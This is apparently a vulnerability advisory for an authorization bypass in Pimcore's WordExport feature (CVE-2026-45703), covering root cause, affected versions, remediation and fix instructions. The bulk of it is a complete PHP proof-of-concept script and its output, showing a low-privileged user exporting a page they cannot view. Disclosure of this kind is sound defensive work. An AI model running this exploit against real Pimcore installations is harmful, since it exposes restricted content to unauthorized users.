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GHSA-332x-r494-54fq CVE-2026-45703

Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export

Medium Packagist
Severity
6.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.32%
Chance of exploitation in the next 30 days. Higher than 24.70% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
12.3.7
Upgrade pimcore/pimcore to this version or later

Description

Summary

The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.

In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:

  • POC-WORDEXPORT-TITLE
  • POC-WORDEXPORT-DESC

Root Cause

The controller only performs a feature-level permission check before starting the export flow:

It then directly resolves the target element from attacker-controlled type/id input:

For document-like elements such as Page and Snippet, it renders content in an admin context:

  • [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
  • TranslationController.php
  • TranslationController.php

No object-level authorization check such as isAllowed('view') is enforced on the target element.

Affected Scope

Based on the source code, the following element types may be affected:

  • page
  • snippet
  • email
  • object

For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the word_export permission
  • The attacker does not have view permission on the target document

Reproduction Environment

  • Reproduction root: pimcore-12.3.3-repro
  • Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)
<?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_wordexport');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_wordexport');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
    $auditor->setPermissions(['word_export']);
    $auditor->setRoles([]);
    $auditor->setWorkspacesDocument([]);
    $auditor->setWorkspacesAsset([]);
    $auditor->setWorkspacesObject([]);
    $auditor->save();

    $page = Page::getByPath('/poc-wordexport-secret-page');
    if (!$page instanceof Page) {
        $page = new Page();
        $page->setParentId(1);
        $page->setKey('poc-wordexport-secret-page');
    }

    $page->setPublished(true);
    $page->setController('App\\Controller\\DefaultController::defaultAction');
    $page->setTemplate('default/default.html.twig');
    $page->setTitle('POC-WORDEXPORT-TITLE');
    $page->setDescription('POC-WORDEXPORT-DESC');
    $page->setProperty('language', 'text', 'en', false, true);
    $page->setUserOwner($admin->getId());
    $page->setUserModification($admin->getId());
    $page->save();

    $canViewPage = $page->getDao()->isAllowed('view', $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = 'wordexportpoc1';
    $exportRequest = new Request([], [
        'id' => $exportId,
        'data' => json_encode([
            ['type' => 'document', 'id' => $page->getId()],
        ], JSON_THROW_ON_ERROR),
        'source' => 'en',
    ]);

    $requestStack->push($exportRequest);
    $controller->wordExportAction($exportRequest, new Filesystem());
    $requestStack->pop();

    $downloadRequest = new Request(['id' => $exportId]);
    $requestStack->push($downloadRequest);
    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
    $requestStack->pop();

    $wordContent = (string) $downloadResponse->getContent();

    echo json_encode([
        'vulnerability' => 'wordexport_authorization_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_page' => [
            'id' => $page->getId(),
            'path' => $page->getFullPath(),
            'title' => $page->getTitle(),
            'description' => $page->getDescription(),
            'user_can_view_page' => $canViewPage,
        ],
        'result' => [
            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions.
  2. Create a test page at /poc-wordexport-secret-page containing sensitive values:
    • title = POC-WORDEXPORT-TITLE
    • description = POC-WORDEXPORT-DESC
  3. Verify that the user does not have view permission on that page.
  4. Execute wordExportAction() and wordExportDownloadAction() as that user.
  5. Check whether the exported HTML contains the sensitive values.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "wordexport_authorization_bypass",
  "user": {
    "name": "auditor_wordexport",
    "permissions": [
      "word_export"
    ]
  },
  "target_page": {
    "path": "/poc-wordexport-secret-page",
    "title": "POC-WORDEXPORT-TITLE",
    "description": "POC-WORDEXPORT-DESC",
    "user_can_view_page": false
  },
  "result": {
    "download_contains_title": true,
    "download_contains_description": true
  }
}

This shows that:

  • The user cannot view the target page
  • The exported file still contains the page's sensitive content

This confirms that the issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of structured page fields
  • Unauthorized export of restricted backend content
  • Potential exposure of unpublished or otherwise restricted content
  • Lateral data access by low-privileged backend accounts

Remediation

  1. Perform object-level authorization immediately after resolving the element from type/id.
  2. Require at least view permission on the target element.
  3. Apply consistent authorization checks across page, snippet, email, and object.
  4. Bind export creation and export download to the requesting user or an equivalent authorization context.
  5. Add regression tests to ensure that users with word_export but without element view permission cannot export content.

Affected versions

Packagist

PackageVulnerableFixed in
pimcore/pimcore
>= 12.0.0-RC1, < 12.3.7
12.3.7
pimcore/pimcore
< 11.5.17
11.5.17
pimcore/pimcore
>= 2026.1.0, < 2026.1.3
2026.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pimcore/pimcore Packagist → 12.3.7

composer
composer require pimcore/pimcore:^12.3.7

Severity breakdown

CVSS 3.1 6.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
Low

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-23rh-xw42-fq82
Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
High Also affects pimcore/pimcore
GHSA-9x44-4gxf-8c25
Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name
Critical Also affects pimcore/pimcore
GHSA-w23p-wrp7-ch38
Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)
Critical Also affects pimcore/pimcore
GHSA-2mhj-fhvg-v428
Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name
High Also affects pimcore/pimcore
GHSA-7p36-fq2r-4h7r
Pimcore CMS Twig Sandbox Bypass via SecurityPolicy checkMethodAllowed
High Also affects pimcore/pimcore
GHSA-jwcc-gv4m-93x6
Pimcore has a CustomReports Share Bypass
High Also affects pimcore/pimcore
GHSA-wc7j-g8wx-m2qx
Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling
High Also affects pimcore/pimcore
GHSA-36fc-7wjg-mfvj
Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction
High Also affects pimcore/pimcore
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